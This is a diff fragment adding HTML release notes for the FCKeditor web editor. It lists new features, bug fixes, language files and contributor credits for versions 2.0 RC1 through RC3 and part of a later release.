+               <li>[<a target="_blank" href="https://sourceforge.net/tracker/index.php?func=detail&amp;aid=1185911&amp;group_id=75348&amp;atid=543653">SF
+                       BUG-1185911</a>] The Greek language file name has been corrected to &quot;el.js&quot;.
+               </li>
+               <li>[<a target="_blank" href="http://sourceforge.net/tracker/index.php?func=detail&amp;aid=1181572&amp;group_id=75348&amp;atid=543653">SF
+                       BUG-1181572</a>] [<a target="_blank" href="http://sourceforge.net/tracker/index.php?func=detail&amp;aid=1158421&amp;group_id=75348&amp;atid=543653">SF
+                               BUG-1158421</a>] The &quot;Print&quot; button is now active on startup. </li>
+               <li>[<a target="_blank" href="http://sourceforge.net/tracker/index.php?func=detail&amp;aid=1181572&amp;group_id=75348&amp;atid=543653">SF
+                       BUG-1165219</a>] No error occours when the user defines just one color to the FontColors
+                       on &quot;in page&quot; configurations. </li>
+               <li>[<a target="_blank" href="http://sourceforge.net/tracker/index.php?func=detail&amp;aid=1162957&amp;group_id=75348&amp;atid=543653">SF
+                       BUG-1162957</a>] The small problem with Zope (ZPT)&nbsp;has been solved. </li>
+               <li>Some small RTL / LTR corrections has been done in the interface and the Farsi language
+                       has been added to the Universal Keyboard. Thanks to Silver Baghdasarian.</li>
+       </ul>
+       <p>
+               * This version has been partially sponsored by the <a href="http://www.hamilton.edu">
+                       Hamilton College</a>.<br />
+               ** This version has been partially sponsored by <a target="_blank" href="http://www.infineon.com/">
+                       Infineon Technologies AG</a>.</p>
+       <h3>
+               Version 2.0 RC3 (Release Candidate 3)</h3>
+       <p>
+               New Features and Improvements:</p>
+       <ul>
+               <li>The editor now offers native <strong>Perl integration</strong>! Thanks and welcome
+                       to Takashi Yamaguchi, our official Perl developer. </li>
+               <li>[<a target="_blank" href="http://sourceforge.net/tracker/index.php?func=detail&amp;aid=1026584&amp;group_id=75348&amp;atid=543656">SF
+                       Feature-1026584</a>] [<a target="_blank" href="http://sourceforge.net/tracker/index.php?func=detail&amp;aid=1112692&amp;group_id=75348&amp;atid=543656">SF
+                               Feature-1112692</a>] <strong>Formatting </strong>has been introduced to the
+                       <strong>Source View</strong>. The output HTML can also be formatted. You can choose
+                       to use spaces or tab for indentation. See the configuration file. </li>
+               <li>[<a target="_blank" href="http://sourceforge.net/tracker/index.php?func=detail&amp;aid=1031492&amp;group_id=75348&amp;atid=543656">SF
+                       Feature-1031492</a>] [<a target="_blank" href="http://sourceforge.net/tracker/index.php?func=detail&amp;aid=1004293&amp;group_id=75348&amp;atid=543656">SF
+                               Feature-1004293</a>] [<a target="_blank" href="http://sourceforge.net/tracker/index.php?func=detail&amp;aid=784281&amp;group_id=75348&amp;atid=543656">SF
+                                       Feature-784281</a>] It is now possible to edit <strong>full HTML pages</strong>
+                       with the editor. Use the &quot;FullPage&quot; configuration setting to activate
+                       it. </li>
+               <li>The&nbsp;new toolbar command, &quot;<strong>Document Properties</strong>&quot;&nbsp;is
+                       available to edit document header info, title, colors, background, etc... Full page
+                       editing must be enabled. </li>
+               <li>[<a target="_blank" href="http://sourceforge.net/tracker/index.php?func=detail&amp;aid=1151448&amp;group_id=75348&amp;atid=543656">SF
+                       Feature-1151448</a>] <strong>Spell Check</strong> is now available. You can use
+                       <strong>ieSpell</strong> or <strong>Speller Pages</strong> right from FCKeditor.
+                       More info about configuration can be found in the _docs folder. </li>
+               <li>[<a target="_blank" href="http://sourceforge.net/tracker/index.php?func=detail&amp;aid=1041686&amp;group_id=75348&amp;atid=543656">SF
+                       Feature-1041686</a>] [<a target="_blank" href="http://sourceforge.net/tracker/index.php?func=detail&amp;aid=1086386&amp;group_id=75348&amp;atid=543656">SF
+                               Feature-1086386</a>] [<a target="_blank" href="http://sourceforge.net/tracker/index.php?func=detail&amp;aid=1124602&amp;group_id=75348&amp;atid=543656">SF
+                                       Feature-1124602</a>] New &quot;<strong>Insert Anchor</strong>&quot; command
+                       has been introduced. (The anchor icon is visible only over&nbsp;IE for now). </li>
+               <li>[<a target="_blank" href="http://sourceforge.net/tracker/index.php?func=detail&amp;aid=1123816&amp;group_id=75348&amp;atid=543656">SF
+                       Feature-1123816</a>] It is now possible to configure the editor to <strong>show &quot;fake&quot;
+                               table borders</strong> when the border size is set to zero. (It is working only
+                       on IE for now). </li>
+               <li><strong>Numbered</strong> and <strong>Bulleted</strong> lists can now be <strong>
+                       configured</strong> . Just right click on then. </li>
+               <li>[<a target="_blank" href="http://sourceforge.net/tracker/index.php?func=detail&amp;aid=1088608&amp;group_id=75348&amp;atid=543656">SF
+                       Feature-1088608</a>] [<a target="_blank" href="http://sourceforge.net/tracker/index.php?func=detail&amp;aid=1144047&amp;group_id=75348&amp;atid=543656">SF
+                               Feature-1144047</a>] [<a target="_blank" href="http://sourceforge.net/tracker/index.php?func=detail&amp;aid=1149808&amp;group_id=75348&amp;atid=543656">SF
+                                       Feature-1149808</a>] A new configuration setting is available, &quot;<strong>BaseHref</strong>
+                       &quot;, to set the URL used to resolve relative links. </li>
+               <li>It is now possible to set&nbsp;the <strong>content language direction</strong> .
+                       See the &quot;FCKConfig.ContentLangDirection&quot; configurations setting. </li>
+               <li>All <strong>Field Commands</strong> available on version 1.6 have been upgraded
+                       and&nbsp;included in this version: <strong>form</strong>, <strong>checkbox</strong>,
+                       <strong>radio button</strong>, <strong>text field</strong>, text <strong>area</strong>,
+                       <strong>select field</strong>, <strong>button</strong>, <strong>image button</strong>
+                       and <strong>hidden field</strong> . </li>
+               <li><strong>Context menu</strong> options (right-click) has been added for: <strong>
+                       anchors</strong>, <strong>select field</strong>, <strong>textarea</strong>, <strong>
+                               checkbox</strong>, <strong>radio button</strong>, <strong>text field</strong>,
+                       <strong>hidden field</strong>, <strong>textarea</strong>, <strong>button</strong>,
+                       <strong>image button</strong>, <strong>form</strong>, <strong>bulleted list</strong>
+                       and <strong>numbered list</strong> . </li>
+               <li>The &quot;<strong>Universal Keyboard</strong>&quot; has been converted from version
+                       1.6 to this one and it's now available. </li>
+               <li>It is now possible to <strong>configure</strong> the items to be shown in the <strong>
+                       context menu</strong> . Just use the FCKConfig.ContextMenu option&nbsp;at fckconfig.js.
+               </li>
+               <li>A new configuration (FillEmptyBlocks)&nbsp;is available to force the editor to <strong>
+                       automatically insert a &amp;nbsp;</strong> on empty block elements (p, div, pre,
+                       h1, etc...) to avoid differences from the editing and the final result. (Actually,
+                       the editor automatically &quot;grows&quot; empty elements to make the user able
+                       to enter text on it). Attention: the extra &amp;nbsp; will be added when switching
+                       from WYSIWYG to Source View, so the user may see an additional space on empty blocks.
+                       (XHTML support must be enabled). </li>
+               <li>It is now possible to configure the <strong>toolbar</strong> to &quot;<strong>break</strong>
+                       &quot; between two toolbar strips. Just insert a &quot;/&quot; between then. Take
+                       a look at fckconfig.js for a sample. </li>
+               <li>New Language files are available:
+                       <ul>
+                               <li><strong>Brazilian Portuguese</strong> (by Carlos Alberto Tomatis Loth) </li>
+                               <li><strong>Bulgarian</strong> (by Miroslav Ivanov) </li>
+                               <li><strong>Esperanto</strong> (by Tim Morley) </li>
+                               <li><strong>Galician</strong> (by Fernando Riveiro Lopez) </li>
+                               <li><strong>Japanese</strong> ( by Takashi Yamaguchi) </li>
+                               <li><strong>Persian</strong> (by Hamed Taj-Abadi) </li>
+                               <li><strong>Romanian</strong> (by Adrian Nicoara) </li>
+                               <li><strong>Slovak</strong> (by Gabriel Kiss) </li>
+                               <li><strong>Thai </strong>(by Audy Charin Arsakit) </li>
+                               <li><strong>Turkish</strong> (by Reha Bi&ccedil;er) </li>
+                               <li>The Chinese Traditional has been set as the default (zn) instead of zn-tw.</li>
+                       </ul>
+               </li>
+               <li>Warning: All toolbar image images have been changed. The &quot;button.&quot; prefix
+                       has been removed. If you have your custom skin, please rename your files. </li>
+               <li>A new plugin is available in the package: &quot;<strong>Placeholders</strong>&quot;.
+                       In this way you can insert non editable tags in your document to be processed on
+                       server side (very specific usage). </li>
+               <li>The ASPX files are no longer available in this package. They have been moved to
+                       the FCKeditor.Net package. In this way the ASP.Net integration is much better organized.
+               </li>
+               <li>The FCKeditor.Packager program is now part of the main package. It is not anymore&nbsp;distributed
+                       separately. </li>
+               <li>The PHP connector now sets the uploaded file permissions (chmod)&nbsp;to 0777. </li>
+               <li>[<a target="_blank" href="http://sourceforge.net/tracker/index.php?func=detail&amp;aid=1090215&amp;group_id=75348&amp;atid=543655">SF
+                       Patch-1090215</a>] It's now possible to give back more info from your custom image
+                       browser calling the SetUrl( url [, width] [, height] [, alt] ). Thanks to Ben Noblet.
+               </li>
+               <li>The package files now maintain their original &quot;Last Modified&quot; date, so
+                       incremental FTP uploads can be used to update to&nbsp;new versions of the editor
+                       (from now on). </li>
+               <li>The &quot;Source&quot; view now forces its contents to be written in &quot;Left
+                       to Right&quot; direction even when the editor interface language is running a RTL
+                       language (like Arabic, Hebrew or Persian). </li>
+       </ul>
+       <p>
+               Fixed Bugs:</p>
+       <ul>
+               <li>[<a target="_blank" href="http://sourceforge.net/tracker/index.php?func=detail&amp;aid=1124220&amp;group_id=75348&amp;atid=543653">SF
+                       BUG-1124220</a>] [<a target="_blank" href="https://sourceforge.net/tracker/index.php?func=detail&amp;aid=1119894&amp;group_id=75348&amp;atid=543653">SF
+                               BUG-1119894</a>] [<a target="_blank" href="http://sourceforge.net/tracker/index.php?func=detail&amp;aid=1090986&amp;group_id=75348&amp;atid=543653">SF
+                                       BUG-1090986</a>] [<a target="_blank" href="http://sourceforge.net/tracker/index.php?func=detail&amp;aid=1100408&amp;group_id=75348&amp;atid=543653">SF
+                                               BUG-1100408</a>] The editor now works correctly when starting with an
+                       empty value and switching to the Source mode. </li>
+               <li>[<a target="_blank" href="http://sourceforge.net/tracker/index.php?func=detail&amp;aid=1119380&amp;group_id=75348&amp;atid=543653">SF
+                       BUG-1119380</a>] [<a target="_blank" href="http://sourceforge.net/tracker/index.php?func=detail&amp;aid=1115750&amp;group_id=75348&amp;atid=543653">SF
+                               BUG-1115750</a>] [<a target="_blank" href="http://sourceforge.net/tracker/index.php?func=detail&amp;aid=1101808&amp;group_id=75348&amp;atid=543653">SF
+                                       BUG-1101808</a>] The problem with the scrollbar and the toolbar combos (Style,
+                       Font, etc...) over Mac has been fixed. </li>
+               <li>[<a target="_blank" href="http://sourceforge.net/tracker/index.php?func=detail&amp;aid=1098460&amp;group_id=75348&amp;atid=543653">SF
+                       BUG-1098460</a>] [<a target="_blank" href="http://sourceforge.net/tracker/index.php?func=detail&amp;aid=1076544&amp;group_id=75348&amp;atid=543653">SF
+                               BUG-1076544</a>] [<a target="_blank" href="http://sourceforge.net/tracker/index.php?func=detail&amp;aid=1077845&amp;group_id=75348&amp;atid=543653">SF
+                                       BUG-1077845</a>] [<a target="_blank" href="http://sourceforge.net/tracker/index.php?func=detail&amp;aid=1092395&amp;group_id=75348&amp;atid=543653">SF
+                                               BUG-1092395</a>] A new upload class has been included for the ASP File
+                       Manager Connector. It uses the &quot;ADODB.Stream&quot; object. Many thanks to &quot;NetRube&quot;.
+               </li>
+               <li>I small correction has been made to the ColdFusion integration files. Thanks to
+                       Hendrik Kramer. </li>
+               <li>There was a very specific problem when the editor was running over a FRAME executed
+                       on another domain. </li>
+               <li>The performance problem on Gecko while typing&nbsp;quickly has been solved. </li>
+               <li>The &lt;br type= &quot;_moz&quot;&gt;is not anymore shown on XHTML source. </li>
+               <li>It has been introduced a mechanism to avoid automatic contents duplication on very
+                       specific occasions (bad formatted HTML). </li>
+               <li>[<a target="_blank" href="http://sourceforge.net/tracker/index.php?func=detail&amp;aid=1146407&amp;group_id=75348&amp;atid=543653">SF
+                       BUG-1146407</a>] [<a target="_blank" href="http://sourceforge.net/tracker/index.php?func=detail&amp;aid=1145800&amp;group_id=75348&amp;atid=543653">SF
+                               BUG-1145800</a>] [<a target="_blank" href="http://sourceforge.net/tracker/index.php?func=detail&amp;aid=1118803&amp;group_id=75348&amp;atid=543653">SF
+                                       BUG-1118803</a> ] Other&nbsp;issues in the XHTML processor have been solved.
+               </li>
+               <li>[<a target="_blank" href="http://sourceforge.net/tracker/index.php?func=detail&amp;aid=1143969&amp;group_id=75348&amp;atid=543653">SF
+                       BUG-1143969</a>] The editor now accepts the &quot;accept-charset&quot; attribute
+                       in the FORM tag (IE specific bug). </li>
+               <li>[<a target="_blank" href="http://sourceforge.net/tracker/index.php?func=detail&amp;aid=1122742&amp;group_id=75348&amp;atid=543653">SF
+                       BUG-1122742</a>] [<a target="_blank" href="http://sourceforge.net/tracker/index.php?func=detail&amp;aid=1089548&amp;group_id=75348&amp;atid=543653">SF
+                               BUG-1089548</a> ] Now, the contents of the SCRIPT and STYLE tags remain untouched.
+               </li>
+               <li>[<a target="_blank" href="http://sourceforge.net/tracker/index.php?func=detail&amp;aid=1114748&amp;group_id=75348&amp;atid=543653">SF
+                       BUG-1114748</a>] The PHP File Manager Connector now sets the new folders permissions
+                       (chmod)&nbsp;to 0777 correctly. </li>
+               <li>The PHP File Manager Connector now has a configuration file (editor/filemanager/browser/default/connectors/php/config.php)
+                       to set some security preferences. </li>
+               <li>The&nbsp;ASP File Manager Connector now has a configuration file (editor/filemanager/browser/default/connectors/asp/config.asp)
+                       to set some security preferences. </li>
+               <li>A small bug in the toolbar rendering (strips auto position) has been corrected.
+               </li>
+               <li>[<a target="_blank" href="http://sourceforge.net/tracker/index.php?func=detail&amp;aid=1093732&amp;group_id=75348&amp;atid=543653">SF
+                       BUG-1093732</a>] [<a target="_blank" href="http://sourceforge.net/tracker/index.php?func=detail&amp;aid=1091377&amp;group_id=75348&amp;atid=543653">SF
+                               BUG-1091377</a>] [<a target="_blank" href="http://sourceforge.net/tracker/index.php?func=detail&amp;aid=1083044&amp;group_id=75348&amp;atid=543653">SF
+                                       BUG-1083044</a>] [<a target="_blank" href="http://sourceforge.net/tracker/index.php?func=detail&amp;aid=1096307&amp;group_id=75348&amp;atid=543653">SF
+                                               BUG-1096307</a>] The configurations are now encoded so a user can use
+                       values that has special chars (&amp;=/). </li>
+               <li>[<a target="_blank" href="http://sourceforge.net/tracker/index.php?func=detail&amp;aid=1103688&amp;group_id=75348&amp;atid=543653">SF
+                       BUG-1103688</a>] [<a target="_blank" href="http://sourceforge.net/tracker/index.php?func=detail&amp;aid=1092331&amp;group_id=75348&amp;atid=543653">SF
+                               BUG-1092331</a>] [<a target="_blank" href="http://sourceforge.net/tracker/index.php?func=detail&amp;aid=1088220&amp;group_id=75348&amp;atid=543653">SF
+                                       BUG-1088220</a>] PHP samples now use PHP_SELF to automatically discover
+                       the editor's base path. </li>
+               <li>Some small wrapping problems with some labels in the Image and Table dialog windows
+                       have been fixed. </li>
+               <li>All .js files are now encoded in UTF-8 format with the BOM (byte order mask) to
+                       avoid some errors on specific Linux installations. </li>
+               <li>[<a target="_blank" href="https://sourceforge.net/tracker/index.php?func=detail&amp;aid=1114449&amp;group_id=75348&amp;atid=543653">SF
+                       BUG-1114449</a>] The editor packager program has been modified so now it is possible
+                       to use the source files to run the editor as described in the documentation. The
+                       new packager must be downloaded. </li>
+               <li>A small problem with the editor focus while in&nbsp;source&nbsp;mode has been corrected.
+                       Thanks to Eric (ric1607). </li>
+               <li>[<a target="_blank" href="http://sourceforge.net/tracker/index.php?func=detail&amp;aid=1108167&amp;group_id=75348&amp;atid=543653">SF
+                       BUG-1108167</a>] [<a target="_blank" href="http://sourceforge.net/tracker/index.php?func=detail&amp;aid=1085149&amp;group_id=75348&amp;atid=543653">SF
+                               BUG-1085149</a>] [<a target="_blank" href="http://sourceforge.net/tracker/index.php?func=detail&amp;aid=1151296&amp;group_id=75348&amp;atid=543653">SF
+                                       BUG-1151296</a>] [<a target="_blank" href="http://sourceforge.net/tracker/index.php?func=detail&amp;aid=1082433&amp;group_id=75348&amp;atid=543653">SF
+                                               BUG-1082433</a>] No more IFRAMEs without src attribute. Now it points
+                       to a blank page located in the editor's package. In this way we avoid security warnings
+                       when using the editor over HTTPS. Thanks to Guillermo Bozovich. </li>
+               <li>[<a target="_blank" href="https://sourceforge.net/tracker/index.php?func=detail&amp;aid=1117779&amp;group_id=75348&amp;atid=543653">SF
+                       BUG-1117779</a>] The editor now works well if you have more than one element named
+                       &quot;submit&quot;&nbsp;on its form (even if it is not correct to have this situation).
+               </li>
+               <li>The XHTML processor was duplicating the text on some specific situation. It has
+                       been fixed. </li>
+               <li>[<a target="_blank" href="http://sourceforge.net/tracker/index.php?func=detail&amp;aid=1090213&amp;group_id=75348&amp;atid=543655">SF
+                       Patch-1090213</a>] [<a target="_blank" href="http://sourceforge.net/tracker/index.php?func=detail&amp;aid=1098929&amp;group_id=75348&amp;atid=543653">SF
+                               Patch-1098929</a>] With ASP, the editor now works correctly on pages using &quot;Option
+                       Explicit&quot;. Thanks to Ben Noblet. </li>
+               <li>[<a target="_blank" href="http://sourceforge.net/tracker/index.php?func=detail&amp;aid=1100759&amp;group_id=75348&amp;atid=543653">SF
+                       BUG-1100759</a>] [<a target="_blank" href="http://sourceforge.net/tracker/index.php?func=detail&amp;aid=1029125&amp;group_id=75348&amp;atid=543653">SF
+                               BUG-1029125</a>] [<a target="_blank" href="http://sourceforge.net/tracker/index.php?func=detail&amp;aid=966130&amp;group_id=75348&amp;atid=543653">SF
+                                       BUG-966130</a>] The editor was not working with old IE 5.5 browsers. There
+                       was a problem with the XML parser. It has been fixed. </li>
+               <li>The localization engine is now working correctly over IE 5.5 browsers. </li>
+               <li>Some commands where not working well over IE 5.5 (emoticons, image,...). It has
+                       been fixed. </li>
+               <li>[<a target="_blank" href="http://sourceforge.net/tracker/index.php?func=detail&amp;aid=1146441&amp;group_id=75348&amp;atid=543653">SF
+                       BUG-1146441</a>] [<a target="_blank" href="http://sourceforge.net/tracker/index.php?func=detail&amp;aid=1149777&amp;group_id=75348&amp;atid=543653">SF
+                               BUG-1149777</a>] The editor now uses the TEXTAREA id&nbsp;in the ReplaceTextarea
+                       function. If the id is now found, it uses the &quot;name&quot;. The docs have been
+                       updated. </li>
+               <li>[<a target="_blank" href="https://sourceforge.net/tracker/index.php?func=detail&amp;aid=1144297&amp;group_id=75348&amp;atid=543653">SF
+                       BUG-1144297</a>] Some corrections have been made to the Dutch language file. Thanks
+                       to Erwin Dondorp. </li>
+               <li>[<a target="_blank" href="https://sourceforge.net/tracker/index.php?func=detail&amp;aid=1121365&amp;group_id=75348&amp;atid=543653">SF
+                       BUG-1121365</a>] [<a target="_blank" href="http://sourceforge.net/tracker/index.php?func=detail&amp;aid=1090102&amp;group_id=75348&amp;atid=543653">SF
+                               BUG-1090102</a>] [<a target="_blank" href="http://sourceforge.net/tracker/index.php?func=detail&amp;aid=1152171&amp;group_id=75348&amp;atid=543653">SF
+                                       BUG-1152171</a>] [<a target="_blank" href="http://sourceforge.net/tracker/index.php?func=detail&amp;aid=1102907&amp;group_id=75348&amp;atid=543653">SF
+                                               BUG-1102907</a>] There is no problem now to start the editor with values
+                       like &quot;&lt;div&gt;&lt;/div&gt;&quot; or &quot;&lt;p&gt;&lt;/p&gt;&quot;. </li>
+               <li>[<a target="_blank" href="https://sourceforge.net/tracker/index.php?func=detail&amp;aid=1114059&amp;group_id=75348&amp;atid=543653">SF
+                       BUG-1114059</a>] [<a target="_blank" href="http://sourceforge.net/tracker/index.php?func=detail&amp;aid=1041861&amp;group_id=75348&amp;atid=543653">SF
+                               BUG-1041861</a>] The click on the disabled options in the Context Menu has no
+                       effects now. </li>
+               <li>[<a target="_blank" href="http://sourceforge.net/tracker/index.php?func=detail&amp;aid=1152617&amp;group_id=75348&amp;atid=543653">SF
+                       BUG-1152617</a>] [<a target="_blank" href="http://sourceforge.net/tracker/index.php?func=detail&amp;aid=1102441&amp;group_id=75348&amp;atid=543653">SF
+                               BUG-1102441</a>] [<a target="_blank" href="http://sourceforge.net/tracker/index.php?func=detail&amp;aid=1095312&amp;group_id=75348&amp;atid=543653">SF
+                                       BUG-1095312</a>] Some problems when setting the editor source to very specific
+                       values has been fixed. </li>
+               <li>[<a target="_blank" href="http://sourceforge.net/tracker/index.php?func=detail&amp;aid=1093514&amp;group_id=75348&amp;atid=543653">SF
+                       BUG-1093514</a>] [<a target="_blank" href="http://sourceforge.net/tracker/index.php?func=detail&amp;aid=1089204&amp;group_id=75348&amp;atid=543653">SF
+                               BUG-1089204</a>] [<a target="_blank" href="http://sourceforge.net/tracker/index.php?func=detail&amp;aid=1077609&amp;group_id=75348&amp;atid=543653">SF
+                                       BUG-1077609</a>] The editor now runs correctly if called directly (locally)&nbsp;without
+                       a server installation (just opening the HTML sample files). </li>
+               <li>[<a target="_blank" href="http://sourceforge.net/tracker/index.php?func=detail&amp;aid=1088248&amp;group_id=75348&amp;atid=543653">SF
+                       BUG-1088248</a>] The editor now uses a different method to load its contents. In
+                       this way the URLs remain untouched. </li>
+               <li>The PHP integration file now detects Internet Explorer 5.5 correctly.</li>
+       </ul>
+       <h3>
+               Version 2.0 RC2 (Release Candidate 2)</h3>
+       <ul>
+               <li>[<a target="_blank" href="http://sourceforge.net/tracker/index.php?func=detail&amp;aid=1042034&amp;group_id=75348&amp;atid=543656">SF
+                       Feature-1042034</a>] [<a target="_blank" href="http://sourceforge.net/tracker/index.php?func=detail&amp;aid=1075961&amp;group_id=75348&amp;atid=543656">SF
+                               Feature-1075961</a>] [<a target="_blank" href="http://sourceforge.net/tracker/index.php?func=detail&amp;aid=1083200&amp;group_id=75348&amp;atid=543656">SF
+                                       Feature-1083200</a>] A new dialog window for the <strong>table cell properties</strong>
+                       is now available (right-click). </li>
+               <li>[<a target="_blank" href="http://sourceforge.net/tracker/index.php?func=detail&amp;aid=1042034&amp;group_id=75348&amp;atid=543656">SF
+                       Feature-1042034</a>] The new &quot;<strong>Split Cell</strong> &quot;, to split
+                       a table cell in two columns, has been introduced (right-click). </li>
+               <li>[<a target="_blank" href="http://sourceforge.net/tracker/index.php?func=detail&amp;aid=1042034&amp;group_id=75348&amp;atid=543656">SF
+                       Feature-1042034</a>] The new &quot;<strong>Merge Cells</strong>&quot;, to merge
+                       table cells (in the same row), has been introduced (right-click). </li>
+               <li>The &quot;fake&quot; <strong>TAB key support</strong> (available by default over
+                       Gecko browsers is now available over IE too. You can set the number of spaces to
+                       add setting the FCKConfig.TabSpaces configuration setting. Set it to 0 (zero) to
+                       disable this feature (IE). </li>
+               <li>It now possible to tell IE to send a <strong>&lt;BR&gt;</strong> when the user presses
+                       the <strong>Enter key</strong>. Take a look at the FCKConfig.UseBROnCarriageReturn
+                       configuration setting. </li>
+               <li>[<a target="_blank" href="http://sourceforge.net/tracker/index.php?func=detail&amp;aid=1085422&amp;group_id=75348&amp;atid=543656">SF
+                       Feature-1085422</a>] <strong>ColdFusion</strong>: The <strong>File Manager connector</strong>
+                       is now available! (Thanks to Hendrik Kramer). </li>
+               <li>The editor is now available in <strong>29 languages!</strong> The new language files
+                       available are:&nbsp;
+                       <ul>
+                               <li>[<a target="_blank" href="http://sourceforge.net/tracker/index.php?func=detail&amp;aid=1067775&amp;group_id=75348&amp;atid=543656">SF
+                                       Feature-1067775</a>] <strong>Chinese Simplified and Traditional</strong> (Taiwan
+                                       and Hong Kong) (by NetRube). </li>
+                               <li><strong>Czech</strong> (by David Hor&aacute;k). </li>
+                               <li><strong>Danish</strong> (by Jesper Michelsen). </li>
+                               <li><strong>Dutch</strong> (by Bram Crins). </li>
+                               <li><strong>German</strong> (by Maik Unruh). </li>
+                               <li><strong>Portuguese</strong> (Portugal) (by Francisco Pereira). </li>
+                               <li><strong>Russian</strong> (by Andrey Grebnev). </li>
+                               <li><strong>Slovenian</strong> (by Boris Volaric).</li>
+                       </ul>
+               </li>
+               <li>Updates to the <strong>French</strong> language files (by Hubert Garrido). </li>
+               <li>[<a target="_blank" href="http://sourceforge.net/tracker/index.php?func=detail&amp;aid=1085816&amp;group_id=75348&amp;atid=543653">SF
+                       BUG-1085816</a>] [<a target="_blank" href="http://sourceforge.net/tracker/index.php?func=detail&amp;aid=1083743&amp;group_id=75348&amp;atid=543653">SF
+                               BUG-1083743</a>] [<a target="_blank" href="http://sourceforge.net/tracker/index.php?func=detail&amp;aid=1078783&amp;group_id=75348&amp;atid=543653">SF
+                                       BUG-1078783</a>] [<a target="_blank" href="http://sourceforge.net/tracker/index.php?func=detail&amp;aid=1077861&amp;group_id=75348&amp;atid=543653">SF
+                                               BUG-1077861</a>] [<a target="_blank" href="http://sourceforge.net/tracker/index.php?func=detail&amp;aid=1077861&amp;group_id=75348&amp;atid=543653">SF
+                                                       BUG-1037404</a>] Many&nbsp;small bugs&nbsp;in the XHTML processor
+                       has been corrected (workarounds to browser specific bugs). These are some things
+                       to consider regarding the changes:
+                       <ul>
+                               <li>[<a target="_blank" href="http://sourceforge.net/tracker/index.php?func=detail&amp;aid=1083744&amp;group_id=75348&amp;atid=543653">SF
+                                       BUG-1083744</a>] On Gecko browsers, any element attribute that the name starts with
+                                       &quot;_moz&quot; will be ignored. </li>
+                               <li>[<a target="_blank" href="http://sourceforge.net/tracker/index.php?func=detail&amp;aid=1060073&amp;group_id=75348&amp;atid=543653">SF
+                                       BUG-1060073</a>] The &lt;STYLE&gt; and &lt;SCRIPT&gt; elements contents will be
+                                       handled as is, without CDATA tag surrounding. This may break XHTML validation. In
+                                       any case the use of external files for scripts and styles is recommended (W3C recommendation).</li>
+                       </ul>
+               </li>
+               <li>[<a target="_blank" href="http://sourceforge.net/tracker/index.php?func=detail&amp;aid=1088310&amp;group_id=75348&amp;atid=543653">SF
+                       BUG-1088310</a>] [<a target="_blank" href="http://sourceforge.net/tracker/index.php?func=detail&amp;aid=1078837&amp;group_id=75348&amp;atid=543653">SF
+                               BUG-1078837</a>] [<a target="_blank" href="http://sourceforge.net/tracker/index.php?func=detail&amp;aid=999792&amp;group_id=75348&amp;atid=543653">SF
+                                       BUG-999792</a>] URLs now remain untouched when initializing the editor or
+                       switching from WYSYWYG to Source and vice versa. </li>
+               <li>[<a target="_blank" href="http://sourceforge.net/tracker/index.php?func=detail&amp;aid=1082323&amp;group_id=75348&amp;atid=543653">SF
+                       BUG-1082323</a>] The&nbsp;problem in the ASP and PHP connectors when handling non
+                       &quot;strange&quot; chars in file names has been corrected. </li>
+               <li>[<a target="_blank" href="http://sourceforge.net/tracker/index.php?func=detail&amp;aid=1085034&amp;group_id=75348&amp;atid=543653">SF
+                       BUG-1085034</a>] [<a target="_blank" href="http://sourceforge.net/tracker/index.php?func=detail&amp;aid=1076796&amp;group_id=75348&amp;atid=543653">SF
+                               BUG-1076796</a>] Some bugs in the PHP connector have been corrected. </li>
+               <li>A&nbsp;problem with the &quot;Format&quot; command on IE browsers on languages different
+                       of English has been solved. The negative side of this correction is that due to
+                       a IE bad design it is not possible to update the &quot;Format&quot; combo while
+                       moving throw the text (context sensitive). </li>
+               <li>On Gecko browsers, when selecting an image and executing the &quot;New Page&quot;
+                       command, the image handles still appear, even if the image is not available anymore
+                       (this is a Gecko bug). When clicking in&nbsp;a &quot;phanton&quot; randle, the browser
+                       crashes. It doesn't&nbsp;happen (the crash)&nbsp;anymore. </li>
+               <li>[<a target="_blank" href="http://sourceforge.net/tracker/index.php?func=detail&amp;aid=1082197&amp;group_id=75348&amp;atid=543653">SF
+                       BUG-1082197</a>] On ASP, the bug in the browser detection system for Gecko browsers
+                       has been corrected. Thanks to Alex Varga. </li>
+               <li>Again on ASP, the browser detection for IE had some problems on servers that use
+                       comma for decimal separators on numbers. It has been corrected. Thanks to Agrotic.
+               </li>
+               <li>No error is thrown now when&nbsp;non existing&nbsp;language is configured in the
+                       editor. The English language file is loaded in that case. </li>
+               <li>[<a target="_blank" href="http://sourceforge.net/tracker/index.php?func=detail&amp;aid=1077747&amp;group_id=75348&amp;atid=543653">SF
+                       BUG-1077747</a>] The missing images on the Office2003 and Silver skins are now included
+                       in the package. </li>
+               <li>On some Gecko browsers, the dialog window was not loading correctly. I couldn't
+                       reproduce the problem, but a fix has been applied based on users tests. </li>
+               <li>[<a target="_blank" href="http://sourceforge.net/tracker/index.php?func=detail&amp;aid=1004078&amp;group_id=75348&amp;atid=543653">SF
+                       BUG-1004078</a>] ColdFusion: The &quot;config&quot; structure/hash table with keys
+                       and values is in ColdFusion not(!) case sensitive. All keys returned by ColdFusion
+                       are in upper case format. Because the FCKeditor configuration keys must be case
+                       sensitive, we had to match all structure/hash keys with a list of the correct configuration
+                       names in mixed case. This has been added to the fckeditor.cfc and fckeditor.cfm.
+               </li>
+               <li>[<a target="_blank" href="http://sourceforge.net/tracker/index.php?func=detail&amp;aid=1075166&amp;group_id=75348&amp;atid=543653">SF
+                       BUG-1075166</a>] ColdFusion: The &quot;fallback&quot; variant of the texteditor
+                       (&lt;textarea&gt;) has a bug in the fckeditor.cfm. This has been fixed. </li>
+               <li>A typo in the Polish language file has been corrected. Thanks to Pawel Tomicki.
+               </li>
+               <li>[<a target="_blank" href="http://sourceforge.net/tracker/index.php?func=detail&amp;aid=1086370&amp;group_id=75348&amp;atid=543653">SF
+                       BUG-1086370</a>] A small coding type in the Link dialog window has been corrected.
+               </li>
+       </ul>
+       <h3>
+               Version 2.0 RC1 (Release Candidate 1)</h3>
+       <ul>
+               <li><strong>ASP</strong> support is now available (including the&nbsp;File Manager connector).
+               </li>
+               <li><strong>PHP</strong> support is now available (including the File Manager connector).
+               </li>
+               <li>[<a target="_blank" href="http://sourceforge.net/tracker/index.php?func=detail&amp;aid=1063217&amp;group_id=75348&amp;atid=543656">SF
+                       Feature-1063217</a>] The new advanced&nbsp;<strong>Style</strong> command is available
+                       in the toolbar: full preview, context sensitive, style definitions are loaded from
+                       a XML file (see documentation for more instructions). </li>
+               <li>The <strong>Font Format</strong>, <strong>Font Name</strong> and <strong>Font Size</strong>
+                       toolbar command now show a <strong>preview</strong> of the available options. </li>
